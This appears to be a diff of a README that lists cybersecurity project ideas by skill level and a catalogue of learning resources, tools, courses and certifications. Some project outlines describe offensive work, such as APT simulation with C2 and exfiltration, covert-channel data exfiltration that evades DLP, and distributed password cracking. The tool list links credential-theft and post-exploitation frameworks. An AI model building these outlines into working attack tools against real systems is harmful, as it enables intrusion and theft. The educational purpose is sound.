+Build middleware that implements token bucket or sliding window rate limiting for APIs. Support per-user, per-IP, and global limits. Include Redis backend for distributed rate limiting across multiple servers. + +### Wireless Deauthentication Detector +Monitor WiFi networks for deauthentication attacks using packet sniffing. Alert when abnormal deauth frames detected. Track affected clients and potential attacker locations. + +### Active Directory Enumeration Tool +Enumerate AD users, groups, computers, and permissions using LDAP queries. Identify privileged accounts, stale accounts, and misconfigurations. Generate visual diagrams of AD structure. + +### Binary Analysis Tool +Disassemble executables and analyze for suspicious patterns. Extract strings, identify imported functions, and detect packing/obfuscation. Support PE, ELF, and Mach-O formats. + +### Network Intrusion Prevention System +Real-time packet inspection using Snort rules or custom signatures. Automatically block malicious traffic using firewall integration. Dashboard for viewing blocked threats and rule management. + +### Password Policy Auditor +Audit Active Directory or local password policies against security best practices. Test for weak passwords using common patterns. Generate compliance reports and recommendations. + +### Cloud Asset Inventory Tool +Automatically discover and catalog all resources across AWS, Azure, and GCP. Track changes over time, identify untagged resources, and calculate costs. Export to CSV/JSON. + +### OSINT Reconnaissance Framework +Aggregate data from public sources (WHOIS, DNS, social media, breached databases). Automate information gathering for penetration testing. Generate comprehensive target profiles. + +### SSL/TLS Certificate Scanner +Scan domains for SSL/TLS misconfigurations (expired certs, weak ciphers, missing HSTS). Check against best practices (Mozilla SSL Config). Alert on vulnerabilities like Heartbleed. + +### Mobile App Security Analyzer +Decompile Android APKs and iOS IPAs to analyze security. Detect hardcoded secrets, insecure data storage, and vulnerable libraries. Generate OWASP Mobile Top 10 compliance reports. + +### Automated Backup Integrity Checker +Verify backup files aren't corrupted using checksums. Test restoration process automatically. Alert if backups fail validation or haven't run recently. + +### Web Application Firewall (WAF) +Build a reverse proxy that filters HTTP requests for malicious patterns. Block SQL injection, XSS, and path traversal attempts. Include whitelist/blacklist rules and logging. + +### Privilege Escalation Path Finder +Analyze Linux/Windows systems for potential privilege escalation vectors. Check for SUID binaries, weak permissions, and kernel exploits. Generate attack path diagrams. + +### Network Baseline Monitor +Establish normal network behavior patterns (traffic volume, protocol distribution, top talkers). Alert on deviations that could indicate compromises or attacks. + +### Docker Security Audit Tool +Scan Docker environments for security issues (privileged containers, exposed ports, outdated images). Check against CIS Docker Benchmark. Generate remediation reports. + --- ## 🔴 Advanced Projects @@ -73,6 +195,36 @@ Create a sandbox using Docker or VMs where suspicious files are executed in isol ### Quantum-Resistant Encryption Implementation Implement post-quantum algorithms like Kyber (key exchange) or Dilithium (digital signatures) using existing libraries (liboqs-python). Build a file encryption tool that uses hybrid encryption (classical + quantum-resistant). Benchmark performance against traditional RSA/AES and document the security rationale. +### Zero-Day Vulnerability Scanner +Fuzzing framework that automatically discovers bugs in applications. Implement coverage-guided fuzzing using AFL or LibFuzzer. Triage crashes and generate proof-of-concept exploits. + +### Distributed Password Cracker +Coordinate password cracking across multiple machines using GPU acceleration. Support distributed workloads with job queuing. Dashboard for monitoring progress and performance. + +### Kernel Rootkit Detection System +Detect kernel-level rootkits by comparing system calls, loaded modules, and memory structures. Use volatility framework for memory analysis. Alert on hidden processes or drivers. + +### Blockchain Smart Contract Auditor +Static analysis tool for Solidity smart contracts detecting vulnerabilities (reentrancy, integer overflow, access control). Integrate with Mythril and Slither. Generate security reports. + +### Adversarial ML Model Attacker +Generate adversarial examples to fool ML-based security systems. Implement attacks like FGSM, DeepFool, and C&W. Test robustness of image classifiers and malware detectors. + +### Advanced Persistent Threat Simulator +Simulate multi-stage APT attacks with C2 infrastructure, lateral movement, and data exfiltration. Support various persistence mechanisms and evasion techniques. Generate attack reports. + +### Hardware Security Module (HSM) Emulator +Software emulation of HSM for cryptographic operations. Implement secure key storage, signing, and encryption. Support PKCS#11 interface for application integration. + +### Network Covert Channel Framework +Exfiltrate data using DNS queries, ICMP packets, or HTTP headers. Implement encoding schemes to hide data in legitimate traffic. Measure detection rates against common DLP solutions. + +### Automated Penetration Testing Platform +Orchestrate full penetration tests including reconnaissance, vulnerability scanning, exploitation, and post-exploitation. Generate executive and technical reports. Support multiple target types. + +### Supply Chain Security Analyzer +Analyze software dependencies for vulnerabilities and malicious packages. Detect typosquatting, dependency confusion, and compromised packages. Monitor for suspicious updates in CI/CD pipelines. + --- ## **Certification Roadmap by Role** @@ -214,3 +366,461 @@ Implement post-quantum algorithms like Kyber (key exchange) or Dilithium (digita | **Architect/Management** | **CISSP** | (ISC)² | [Website](https://www.isc2.org/Certifications/CISSP) | --- + +# Cybersecurity Learning Resources + +A collection of tools, courses, frameworks, and educational resources for cybersecurity professionals and learners at all levels. + +--- + +## Table of Contents + +- [Cybersecurity Tools](#cybersecurity-tools) +- [Study Platforms & Courses](#study-platforms--courses) +- [Certifications & Exam Prep](#certifications--exam-prep) +- [YouTube Channels & Videos](#youtube-channels--videos) +- [Reddit Communities](#reddit-communities) +- [Security Frameworks](#security-frameworks) +- [Industry Resources](#industry-resources) +- [Cloud Certifications](#cloud-certifications) + +--- + +## Cybersecurity Tools + +### Reconnaissance & Scanning +- [Nmap](https://nmap.org/) - Network mapper and port scanner +- [Nessus](https://www.tenable.com/products/nessus) - Vulnerability scanner +- [Nikto](https://cirt.net/Nikto2) - Web server scanner +- [Searchsploit](https://github.com/dev-angelist/Ethical-Hacking-Tools/blob/main/practical-ethical-hacker-notes/tools/searchsploit.md) - Exploit database CLI +- [theHarvester](https://github.com/laramies/theHarvester) - Information gathering tool +- [Amass](https://github.com/owasp-amass/amass) - Subdomain enumeration +- [Sublist3r](https://github.com/aboul3la/Sublist3r) - Subdomain finder +- [Recon-ng](https://github.com/lanmaster53/recon-ng) - Web reconnaissance framework +- [Fierce](https://github.com/mschwager/fierce) - DNS scanner + +### Web Application Testing +- [Burp Suite](https://portswigger.net/burp) - Web vulnerability scanner +- [OWASP ZAP](https://www.zaproxy.org/) - Web application security scanner +- [Nikto](https://cirt.net/Nikto2) - Web server scanner +- [SQLmap](https://sqlmap.org/) - SQL injection testing +- [Wfuzz](https://github.com/xmendez/wfuzz) - Web fuzzer +- [Gobuster](https://github.com/OJ/gobuster) - URI/DNS/Vhost brute forcing +- [SkipFish](https://github.com/spinkham/skipfish) - Active web application scanner +- [Wapiti](https://github.com/wapiti-scanner/wapiti) - Web vulnerability scanner +- [Arachni](https://github.com/Arachni/arachni) - Web application security scanner +- [Nuclei](https://github.com/projectdiscovery/nuclei) - Template-based scanning +- [Maltego](https://www.maltego.com/) - OSINT & data mining + +### Network & Wireless +- [Wireshark](https://www.wireshark.org/) - Network protocol analyzer +- [Bettercap](https://github.com/bettercap/bettercap) - Network attack framework +- [Responder](https://github.com/SpiderLabs/Responder) - LLMNR/NBT-NS poisoner +- [Ettercap](https://github.com/Ettercap/ettercap) - Man-in-the-middle framework +- [SSLstrip](https://github.com/moxie0/sslstrip) - SSL stripping attack +- [Aircrack-ng](https://www.aircrack-ng.org/) - Wireless network auditing +- [Kismet](https://github.com/kismetwireless/kismet) - Wireless network detector +- [mitmproxy](https://github.com/mitmproxy/mitmproxy) - HTTP/HTTPS proxy +- [Fiddler](https://www.telerik.com/fiddler) - Web debugging proxy +- [Yersinia](https://github.com/tomac/yersinia) - Layer 2 attacks + +### Exploitation & Post-Exploitation +- [Metasploit](https://www.metasploit.com/) - Penetration testing framework +- [Hydra](https://github.com/vanhauser-thc/thc-hydra) - Password cracking +- [Ncrack](https://github.com/nmap/ncrack) - Network authentication cracker +- [CrackMapExec](https://github.com/Porchetta-Industries/CrackMapExec) - Post-exploitation framework +- [Evil-WinRM](https://github.com/Hackplayers/evil-winrm) - WinRM shell +- [Empire](https://github.com/EmpireProject/Empire) - PowerShell post-exploitation +- [Mimikatz](https://github.com/gentilkiwi/mimikatz) - Credential extraction +- [Shellter](https://www.shellterproject.com/) - Dynamic shellcode injection +- [BeEF](https://github.com/beefproject/beef) - Browser exploitation framework +- [RouterSploit](https://github.com/threat9/routersploit) - Router exploitation framework +- [Legion](https://github.com/Abacus-Group-RTO/legion) - Automated pentest tool +- [Social-Engineer Toolkit (SET)](https://github.com/trustedsec/social-engineer-toolkit) - Social engineering attacks + +### Cryptography & Analysis +- [John the Ripper](https://www.openwall.com/john/) - Password cracker +- [Hashcat](https://hashcat.net/hashcat/) - GPU-accelerated hash cracking +- [Ghidra](https://ghidra-sre.org/) - Reverse engineering +- [Radare2](https://github.com/radareorg/radare2) - Binary analysis framework +- [Binwalk](https://github.com/ReFirmLabs/binwalk) - Binary file analysis + +### Forensics & Malware Analysis +- [Volatility](https://www.volatilityfoundation.org/) - Memory forensics +- [Cuckoo Sandbox](https://cuckoosandbox.org/) - Malware analysis sandbox +- [Impacket](https://github.com/fortra/impacket) - Network protocol library + +### Monitoring & Defense +- [Suricata](https://suricata.io/) - Network IDS/IPS +- [OSSEC](https://www.ossec.net/) - Host-based intrusion detection +- [Greenbone Vulnerability Manager](https://www.greenbone.net/en/) - Vulnerability scanning + +### Code Security +- [Snyk](https://snyk.io/) - Dependency vulnerability scanner +- [OWASP Dependency-Check](https://github.com/jeremylong/DependencyCheck) - Dependency checker +- [Semgrep](https://semgrep.dev/) - Static analysis tool +- [Detectify](https://detectify.com/) - Web security platform + +### Intelligence & Recon +- [Shodan](https://www.shodan.io/) - Internet search engine +- [Offensive Security Exploit Database](https://www.exploit-db.com/) - Exploit database +- [BloodHound](https://github.com/BloodHoundAD/BloodHound) - Active Directory analysis +- [EyeWitness](https://github.com/FortyNorthSecurity/EyeWitness) - Screenshot capture tool + +--- + +## Study Platforms & Courses + +### Udemy CompTIA Courses +- [CompTIA Security+ (SY0-701) Complete Course & Exam](https://www.udemy.com/course/securityplus) +- [CompTIA Security+ (SY0-701) Practice Exams Set 1](https://www.udemy.com/course/comptia-security-sy0-701-practice-exams/) +- [CompTIA Security+ (SY0-701) Practice Exams Set 2](https://www.udemy.com/course/comptia-security-sy0-701-practice-exams-2nd-edition/) +- [TOTAL: CompTIA Security+ Certification Course + Exam SY0-701](https://www.udemy.com/course/total-comptia-security-plus/) +- [CompTIA A+ Core 1 (220-1101) Complete Course & Practice Exam](https://www.udemy.com/course/comptia-a-core-1/) +- [CompTIA A+ Core 2 (220-1102) Complete Course & Practice Exam](https://www.udemy.com/course/comptia-a-core-2/) +- [CompTIA A+ (220-1101) Core 1 Practice Exams](https://www.udemy.com/course/comptia-a-220-1101-core-1-practice-exams-new-for-2022/) +- [CompTIA A+ (220-1102) Core 2 Practice Exams](https://www.udemy.com/course/comptia-a-220-1102-core-2-practice-exams-new-for-2022/) +- [CompTIA A+ Core 1 & Core 2 - IT Cert Doctor - 2024](https://www.udemy.com/course/it-cert-doctor-comptia-a-220-1101-1102/) +- [CompTIA Network+ (N10-009) Full Course & Practice Exam](https://www.udemy.com/course/comptia-network-009/) +- [CompTIA Network+ (N10-009) 6 Full Practice Exams Set 1](https://www.udemy.com/course/comptia-network-n10-009-6-practice-exams-and-pbqs-set-1/) +- [CompTIA Network+ (N10-009) 6 Full Practice Exams Set 2](https://www.udemy.com/course/comptia-network-n10-009-6-practice-exams-and-pbqs-set-2/) +- [CompTIA CySA+ (CS0-003) Complete Course & Practice Exam](https://www.udemy.com/course/comptia-cysa-003/) +- [CompTIA CySA+ (CS0-003) Practice Exams](https://www.udemy.com/course/comptia-cysa-cs0-003-practice-exams/) +- [CompTIA PenTest+ (PT0-003) Full Course & Practice Exam](https://www.udemy.com/course/pentestplus/) +- [CompTIA PenTest+ (PT0-003) 6 Practice Exams](https://www.udemy.com/course/comptia-pentest-pt0-003-6-practice-exams/) +- [CompTIA SecurityX (CAS-005) Complete Course & Practice Exam](https://www.udemy.com/course/casp-plus/) +- [CompTIA SecurityX (CAS-005) Practice Exam Prep](https://www.udemy.com/course/comptia-securityx-practice-exam-prep-new/) +- [CompTIA Linux+ (XK0-005) Complete Course & Exam](https://www.udemy.com/course/comptia-linux/) +- [CompTIA Linux+ (XK0-005) Practice Exams & Simulated PBQs](https://www.udemy.com/course/comptia-linux-exams/) + +### Udemy Other Security Courses +- [The Complete Cyber Security Course : Hackers Exposed!](https://www.udemy.com/course/the-complete-internet-security-privacy-course-volume-1/) +- [The Complete Cyber Security Course : Network Security!](https://www.udemy.com/course/network-security-course/) +- [The Complete Cyber Security Course : End Point Protection!](https://www.udemy.com/course/the-complete-cyber-security-course-end-point-protection/) +- [Complete Ethical Hacking & Cyber Security Masterclass Course](https://www.udemy.com/course/ethicalhackingcourse/) +- [Implementing the NIST Cybersecurity Framework (CSF)](https://www.udemy.com/course/nist-cybersecurity-framework/) +- [ISC2 CISSP Full Course & Practice Exam](https://www.udemy.com/course/isc2-cissp-full-course-practice-exam/) +- [ISC2 CISSP 6 Practice Exams](https://www.udemy.com/course/isc2-cissp-6-practice-exams/) +- [The Complete Certified in Cybersecurity CC course ISC2 2024](https://www.udemy.com/course/certifiedincybersecurity/) + +### Free Learning Platforms +- [Cybrary](https://www.cybrary.it) - Free cybersecurity courses +- [TryHackMe](https://tryhackme.com/) - Interactive hacking challenges +- [Hack The Box](https://www.hackthebox.com/) - Penetration testing labs +- [HackTheBox Academy](https://academy.hackthebox.com/) - Structured learning paths +- [SANS Cyber Aces Online](https://www.cyberaces.org/) - Free tutorials +- [Coursera](https://www.coursera.org/) - University-level courses +- [edX Cybersecurity Programs](https://www.edx.org/professional-certificate/cybersecurity) - Professional certificates +- [freeCodeCamp](https://www.youtube.com/freecodecamp) - Free comprehensive courses +- [Codecademy Cybersecurity](https://www.codecademy.com/catalog/subject/cybersecurity) - Interactive coding + +### Premium Platforms +- [Pluralsight](https://www.pluralsight.com/) - Tech skill development +- [CBT Nuggets](https://www.cbtnuggets.com/) - Video training +- [LinkedIn Learning](https://www.linkedin.com/learning/) - Professional development +- [INE Security Courses](https://ine.com/learning/areas/security) - Cybersecurity specialization +- [Infosec Skills](https://www.infosecinstitute.com/skills/) - Hands-on labs +- [Offensive Security (OffSec)](https://www.offensive-security.com/) - Advanced training +- [TestOut](https://testoutce.com/) - Certification prep + +--- + +## Certifications & Exam Prep + +### CompTIA Exam Objectives +- [A+ Core 1 (220-1101)](https://partners.comptia.org/docs/default-source/resources/comptia-a-220-1101-exam-objectives-(3-0)) +- [A+ Core 2 (220-1102)](https://partners.comptia.org/docs/default-source/resources/comptia-a-220-1102-exam-objectives-(3-0)) +- [Network+ (N10-009)](https://partners.comptia.org/docs/default-source/resources/comptia-network-n10-009-exam-objectives-(4-0)) +- [Security+ (SY0-701)](https://assets.ctfassets.net/82ripq7fjls2/6TYWUym0Nudqa8nGEnegjG/0f9b974d3b1837fe85ab8e6553f4d623/CompTIA-Security-Plus-SY0-701-Exam-Objectives.pdf) +- [CySA+ (CS0-003)](https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-003-exam-objectives-(2-0)) +- [PenTest+ (PT0-003)](https://partners.comptia.org/docs/default-source/resources/comptia-pentest-pt0-003-exam-objectives-(1-0)) +- [SecurityX (CAS-005)](https://partners.comptia.org/docs/default-source/resources/comptia-securityx-cas-005-exam-objectives-(3-0)) +- [Linux+ (XK0-005)](https://partners.comptia.org/docs/default-source/resources/comptia-linux-xk0-005-exam-objectives-(1-0)) +- [Cloud+ (CV0-003)](https://partners.comptia.org/docs/default-source/resources/comptia-cloud-cv0-003-exam-objectives-(1-0)) +- [Data+ (DA0-001)](https://partners.comptia.org/docs/default-source/resources/comptia-data-da0-001-exam-objectives-(2-0)) +- [Server+ (SK0-005)](https://partners.comptia.org/docs/default-source/resources/comptia-server-sk0-005-exam-objectives-(1-0)) + +### Practice Test Resources +- [CertNova](https://www.certnova.com/) - Free practice tests +- [ExamCompass](https://www.examcompass.com/) - Practice exams +- [ExamDigest](https://examsdigest.com/) - Exam resources +- [Mike Meyers Practice Tests](https://www.totalsem.com/total-tester-practice-tests/) - Total Tester +- [Quizlet](https://quizlet.com/) - Flashcards & quizzes + +### Exam Vouchers & Official Resources +- [CompTIA Student Discount](https://academic-store.comptia.org/) - 50% vouchers for students +- [Official CompTIA Resources](https://www.comptia.org/resources) - Study materials +- [CompTIA.org](https://www.comptia.org/) - Main website + +### Study Guides & Books +- [SYBEX CompTIA Books](https://www.amazon.com/s?k=wiley+sybex+comptia) - Official study guides +- [Notes: CompTIA A+, Network+ and Security+](https://www.udemy.com/course/comptia-a-1001-1002-study-notes/) - Study notes collection + +--- + +## YouTube Channels & Videos + +### Top Cybersecurity Channels +- [Professor Messer](https://www.youtube.com/@professormesser) - CompTIA certification prep +- [NetworkChuck](https://www.youtube.com/@NetworkChuck) - Networking & security +- [PowerCert Animated Videos](https://www.youtube.com/@PowerCertAnimatedVideos) - Educational animations +- [HackerSploit](https://www.youtube.com/@HackerSploit) - Ethical hacking tutorials +- [Cyberkraft](https://www.youtube.com/@cyberkraft) - Cybersecurity education +- [howtonetwork](https://www.youtube.com/@howtonetworkcom) - Network fundamentals +- [CBT Nuggets](https://www.youtube.com/user/cbtnuggets) - Professional training +- [Eli the Computer Guy](https://www.youtube.com/user/elithecomputerguy) - IT & networking +- [The Cyber Mentor](https://www.youtube.com/channel/UC0ArlFuFYMpEewyRBzdLHiw) - Ethical hacking +- [ITProTV](https://www.youtube.com/user/ITProTV) - IT certifications +- [freeCodeCamp.org](https://www.youtube.com/freecodecamp) - Free comprehensive courses +- [With Sandra](https://www.youtube.com/@WithSandra) - Career & tech +- [Andrew Huberman](https://www.youtube.com/@hubermanlab) - Learning & productivity science +- [Tech with Jono](https://www.youtube.com/@TechwithJono) - Tech tutorials +- [Practical Networking](https://www.youtube.com/@PracticalNetworking) - Networking fundamentals +- [David Bombal](https://www.youtube.com/@davidbombal) - Cisco & networking +- [John Hammond](https://www.youtube.com/@_JohnHammond) - Hacking & security +- [LiveOverflow](https://www.youtube.com/@LiveOverflow) - CTF & binary exploitation +- [PwnFunction](https://www.youtube.com/@PwnFunction) - Security concepts +- [SecurityWeekly](https://www.youtube.com/@SecurityWeekly) - Security news & updates +- [BlackHat Official](https://www.youtube.com/@BlackHatOfficialYT) - Security conferences +- [DEFCONConference](https://www.youtube.com/@DEFCONConference) - Hacker conference talks + +### Featured Video Playlists & Courses +- [CompTIA A+ Full Course (31+ Hours)](https://www.youtube.com/watch?v=1CZXXNKAY5o&list=PLejqXniG-4qmFqpxbWd7Oo235uH1ffG2x&index=5) +- [CompTIA Network+ Full Course](https://www.youtube.com/watch?v=qiQR5rTSshw&list=PLejqXniG-4qmFqpxbWd7Oo235uH1ffG2x&index=6) +- [CompTIA Security+ SY0-701 Full Course](https://www.youtube.com/watch?v=KiEptGbnEBc&list=PLG49S3nxzAnl4QDVqK-hOnoqcSKEIDDuv) +- [CompTIA CySA+ 2024 Crash Course (10+ Hours)](https://www.youtube.com/watch?v=qP9x0mucwVc&list=PLejqXniG-4qmFqpxbWd7Oo235uH1ffG2x&index=9) +- [CASP+ Course](https://www.youtube.com/watch?v=vwNjLVpXNzk&list=PLCNmoXT8zexnJtDOdd8Owa8TAdSVVWF-J) +- [Ethical Hacking 15 Hours Course](https://www.youtube.com/watch?v=3FNYvj2U0HM&list=PLejqXniG-4qmFqpxbWd7Oo235uH1ffG2x&index=13) +- [Complete Ethical Hacking 16 Hours](https://www.youtube.com/watch?v=w_oxcjPOWos&list=PLejqXniG-4qmFqpxbWd7Oo235uH1ffG2x&index=4) +- [Python Full Course for Free](https://www.youtube.com/watch?v=ix9cRaBkVe0) +- [Subnetting Mastery](https://www.youtube.com/watch?v=BWZ-MHIhqjM&list=PLIFyRwBY_4bQUE4IB5c4VPRyDoLgOdExE) +- [NMAP Full Guide](https://www.youtube.com/watch?v=JHAMj2vN2oU&t=33s) + +### Learning Science & Study Techniques +- [Optimal Protocols for Studying & Learning](https://youtu.be/ddq8JIMhz7c?si=qT00KFkFBAwm7LP7) +- [How to Study Using Active Recall](https://youtu.be/mzexJPoXBCM?si=sv-yeuIoLF9pwDRG) +- [Learning with Failures, Movement & Balance](https://youtu.be/jwChiek_aRY?si=3kyPbIAVwJWMPfnG) + +### Practice Exam Videos +- [CompTIA Security+ PBQ](https://youtu.be/zfwxSmL4n6w?si=q5lXlvmViTK6TnSI) +- [CompTIA Network+ PBQ](https://www.youtube.com/live/9cdL214y-u0?si=lCSxriFy636PbOnR) +- [CompTIA CySA+ PBQ](https://www.youtube.com/live/0NMffWaxlmA?si=Rm9IBkZ04OAxFJtp) +- [CompTIA CASP+ PBQ](https://www.youtube.com/live/eInvTuYBF3Q?si=Hbe4mWLd3X31AUkA) + +--- + +## Reddit Communities + +### Main Subreddits +- [r/CompTIA](https://www.reddit.com/r/CompTIA/) - CompTIA certifications +- [r/CyberSecurity](https://www.reddit.com/r/cybersecurity/) - Cybersecurity discussions +- [r/AskNetsec](https://www.reddit.com/r/AskNetsec/) - Network security Q&A +- [r/ITCareerQuestions](https://www.reddit.com/r/ITCareerQuestions/) - Career advice +- [r/InformationSecurity](https://www.reddit.com/r/InformationSecurity/) - InfoSec discussions +- [r/netsec](https://www.reddit.com/r/netsec/) - Network security news +- [r/ethicalhacking](https://www.reddit.com/r/ethicalhacking/) - Ethical hacking +- [r/BlueTeamSec](https://www.reddit.com/r/BlueTeamSec/) - Defensive security +- [r/RedTeam](https://www.reddit.com/r/RedTeam/) - Offensive security +- [r/netsecstudents](https://www.reddit.com/r/netsecstudents/) - Students learning security + +### Certification-Specific Communities +- [r/Casp](https://www.reddit.com/r/casp/) - CASP+ certification +- [r/CCNA](https://www.reddit.com/r/ccna/) - CCNA certification +- [r/WGU](https://www.reddit.com/r/WGU/) - Western Governors University +- [r/sysadmin](https://www.reddit.com/r/sysadmin/) - System administration +- [r/linuxquestions](https://www.reddit.com/r/linuxquestions/) - Linux help +- [r/ReverseEngineering](https://www.reddit.com/r/ReverseEngineering/) - Reverse engineering +- [r/ITsecurity](https://www.reddit.com/r/ITsecurity/) - IT security + +### Popular Reddit Posts +- [Master List: Study Resources for A+, Network+, Security+](https://www.reddit.com/r/CompTIA/comments/i7hx4t/master_list_i_compiled_and_ranked_every_major/) +- [How I Passed Sec+](https://www.reddit.com/r/CompTIA/comments/zkjs1d/how_a_dumdum_like_me_passed_sec/) +- [How I Passed CompTIA A+, N+, S+](https://www.reddit.com/r/CompTIA/comments/1cra3cg/how_i_passed_comptia_a_n_s/) +- [Passed Sec+, PenTest+, CySA+ in 2 Months 22 Days](https://www.reddit.com/r/CompTIA/comments/1f5cofp/passed_sec_pentest_cysa_in_2_months_22_days/) +- [34 Year Old, No IT Experience, Got Hired After A+ Cert](https://www.reddit.com/r/CompTIA/comments/m38lb8/update_34_years_old_posted_a_month_ago_about/) +- [Hiring Manager Advice to Newbies](https://www.reddit.com/r/ITCareerQuestions/comments/ni4vnm/general_advice_from_a_hiring_manager_and_23_year/) +- [CompTIA Trifecta in 6 Months](https://www.reddit.com/r/CompTIA/comments/1fmjb2p/just_passed_network_got_the_trifecta_in_about_6/) +- [I Passed CASP+ Study Guide](https://www.reddit.com/r/casp/comments/1ft2qjr/i_passed_casp_this_is_what_i_did_to_prepare/) + +--- + +## Security Frameworks + +### NIST Framework Suite +- [NIST Cybersecurity Framework](https://www.nist.gov/cyberframework) +- [NIST Privacy Framework](https://www.nist.gov/privacy-framework) +- [NIST 800-53 Security Controls](https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final) +- [NIST 800-171](https://csrc.nist.gov/publications/detail/sp/800-171/rev-2/final) +- [NIST 800-37 Risk Management Framework](https://csrc.nist.gov/publications/detail/sp/800-37/rev-2/final) +- [NIST 800-39 Managing Information Security Risk](https://csrc.nist.gov/publications/detail/sp/800-39/final) +- [NIST 800-61 Incident Handling Guide](https://csrc.nist.gov/publications/detail/sp/800-61/rev-2/final) +- [NIST 800-63 Digital Identity Guidelines](https://pages.nist.gov/800-63-3/) +- [NIST 800-207 Zero Trust Architecture](https://csrc.nist.gov/publications/detail/sp/800-207/final) +- [NIST 800-218 Secure Software Development Framework](https://csrc.nist.gov/publications/detail/sp/800-218/final) + +### ISO/IEC Standards +- [ISO/IEC 27001](https://www.iso.org/isoiec-27001-information-security.html) - Information security management +- [ISO/IEC 27002](https://www.iso.org/standard/73906.html) - Security controls code of practice +- [ISO/IEC 27032](https://www.iso.org/standard/44375.html) - Cybersecurity guidelines +- [ISO/IEC 27033](https://www.iso.org/standard/63411.html) - Network security +- [ISO/IEC 27034](https://www.iso.org/standard/44379.html) - Application security +- [ISO 22301](https://www.iso.org/iso-22301-business-continuity.html) - Business continuity + +### Industry Frameworks +- [MITRE ATT&CK Framework](https://attack.mitre.org/) - Adversary tactics & techniques +- [Lockheed Martin Cyber Kill Chain](https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html) +- [OWASP Top 10](https://owasp.org/www-project-top-ten/) - Web application risks +- [CIS Controls](https://www.cisecurity.org/controls) - Critical security controls +- [Cybersecurity Maturity Model Certification (CMMC)](https://www.acq.osd.mil/cmmc/) +- [Cloud Security Alliance CCSK](https://cloudsecurityalliance.org/education/ccsk/) + +### Compliance & Regulatory +- [PCI-DSS](https://www.pcisecuritystandards.org/) - Payment card security +- [HIPAA Security Rule](https://www.hhs.gov/hipaa/for-professionals/security/index.html) +- [GDPR](https://gdpr.eu/) - European data protection +- [FedRAMP](https://www.fedramp.gov/) - Federal cloud security +- [SOC 2](https://www.vanta.com/products/soc-2) - Service organization controls +- [SOX IT Controls](https://www.sarbanes-oxley-101.com/sarbanes-oxley-compliance.htm) + +### Analysis & Modeling +- [Diamond Model of Intrusion Analysis](https://www.threatintel.academy/wp-content/uploads/2020/07/diamond-model.pdf) +- [Unified Kill Chain](https://www.unifiedkillchain.com/assets/The-Unified-Kill-Chain.pdf) +- [MITRE Shield](https://shield.mitre.org/) - Defense techniques +- [MITRE Engage](https://engage.mitre.org/) - Adversary engagement +- [VERIS](http://veriscommunity.net/) - Data breach framework + +--- + +## Industry Resources + +### Security News & Blogs +- [Krebs on Security](https://krebsonsecurity.com/) +- [Dark Reading](https://www.darkreading.com/) +- [Rapid7 Blog](https://www.rapid7.com/blog/) +- [Malwarebytes Labs](https://blog.malwarebytes.com/) + +### Training & Education Organizations +- [SANS Institute](https://www.sans.org/) +- [InfoSec Institute](https://www.infosecinstitute.com/) +- [OWASP](https://owasp.org) +- [SANS Cyber Aces](https://www.cyberaces.org/) + +### Professional Organizations +- [CompTIA](https://www.comptia.org/) +- [ISC2](https://www.isc2.org/) +- [ISACA](https://www.isaca.org/) + +### Development & Tools +- [GitHub](https://github.com/) - Version control & collaboration +- [Kali Linux](https://www.kali.org/) - Penetration testing distro +- [Ubuntu](https://ubuntu.com/) - Linux distribution +- [Oracle VirtualBox](https://www.oracle.com/virtualization/technologies/vm/downloads/virtualbox-downloads.html) - Virtual machines +- [Red Hat](https://www.redhat.com/en) - Enterprise Linux + +--- + +## Cloud Certifications + +### AWS Cloud +- [AWS Certified Cloud Practitioner Exam Guide](https://d1.awsstatic.com/training-and-certification/docs-cloud-practitioner/AWS-Certified-Cloud-Practitioner_Exam-Guide.pdf) +- [AWS Cloud Practitioner Essentials (Free)](https://aws.amazon.com/training/learn-about/cloud-practitioner/) +- [AWS Cloud Quest: Cloud Practitioner](https://aws.amazon.com/training/digital/aws-cloud-quest/) +- [AWS Skill Builder - Free Learning Path](https://explore.skillbuilder.aws/learn/public/learning_plan/view/1/cloud-foundations-learning-plan) +- [Ultimate AWS Certified Cloud Practitioner CLF-C02 2025](https://www.udemy.com/course/aws-certified-cloud-practitioner-new/) +- [AWS Certified Cloud Practitioner YouTube Course](https://www.youtube.com/watch?v=SOTamWNgDKc) +- [AWS Certified Cloud Practitioner 15 Hour FreeCodeCamp](https://www.youtube.com/watch?v=NhDYbskXRgc) +- [AWS Security Specialty](https://aws.amazon.com/certification/certified-security-specialty/) + +### Microsoft Azure +- [Azure Fundamentals (AZ-900)](https://learn.microsoft.com/en-us/training/paths/az-900-describe-cloud-concepts/) +- [Azure Security Engineer Associate](https://learn.microsoft.com/en-us/certifications/azure-security-engineer/) + +### Google Cloud +- [Google Cloud Digital Leader](https://cloud.google.com/certification/cloud-digital-leader) +- [Google Professional Cloud Security Engineer](https://cloud.google.com/certification/cloud-security-engineer) + +### Other Cloud Platforms +- [Oracle Cloud Infrastructure Foundations](https://education.oracle.com/oracle-cloud-infrastructure-foundations-2023-associate/pexam_1Z0-1085-23) +- [IBM Cloud Essentials](https://www.ibm.com/training/badge/cloud-essentials) + +--- + +## CISSP Resources + +### Official Materials +- [CISSP Exam Outline](https://www.isc2.org/-/media/ISC2/Certifications/Exam-Outlines/CISSP-Exam-Outline-English-April-2021.ashx) +- [ISC2 CISSP Certification Details](https://www.isc2.org/Certifications/CISSP) +- [ISC2 Official Training](https://www.isc2.org/Training/Self-Study-Resources) +- [Official ISC2 CISSP Study Guide (9th Edition)](https://www.amazon.com/Certified-Information-Security-Professional-Official/dp/1119786231/) +- [CISSP Study Guide 2025-2026](https://www.amazon.com/CISSP-Study-Guide-2025-2026-Certification/dp/B0DRHZG41M) +- [CISSP For Dummies (7th Edition)](https://www.amazon.com/CISSP-Dummies-Computer-Tech/dp/1119806836/) + +### Practice Tests & Prep +- [CISSP Official Practice Tests (3rd Edition)](https://www.amazon.com/CISSP-Official-ISC-Practice-Tests/dp/1119787637/) +- [Boson CISSP Practice Exams](https://www.boson.com/practice-exam/cissp-isc2-practice-exam) +- [TotalTester CISSP Practice Exams](https://www.totalsem.com/cissp-practice-tests/) +- [CISSP Pocket Prep Mobile App](https://pocketprep.com/exam-bank/isc2-cissp/) +- [CISSP Certification Complete Training 2025](https://www.udemy.com/course/cissp-certification-cissp-training/) +- [CISSP Practice Exams 2025](https://www.udemy.com/course/cissp-practice-exams-2020/) + +### YouTube Courses +- [CISSP Course 2024](https://www.youtube.com/watch?v=M1_v5HBVHWo) +- [CISSP MasterClass - Mike 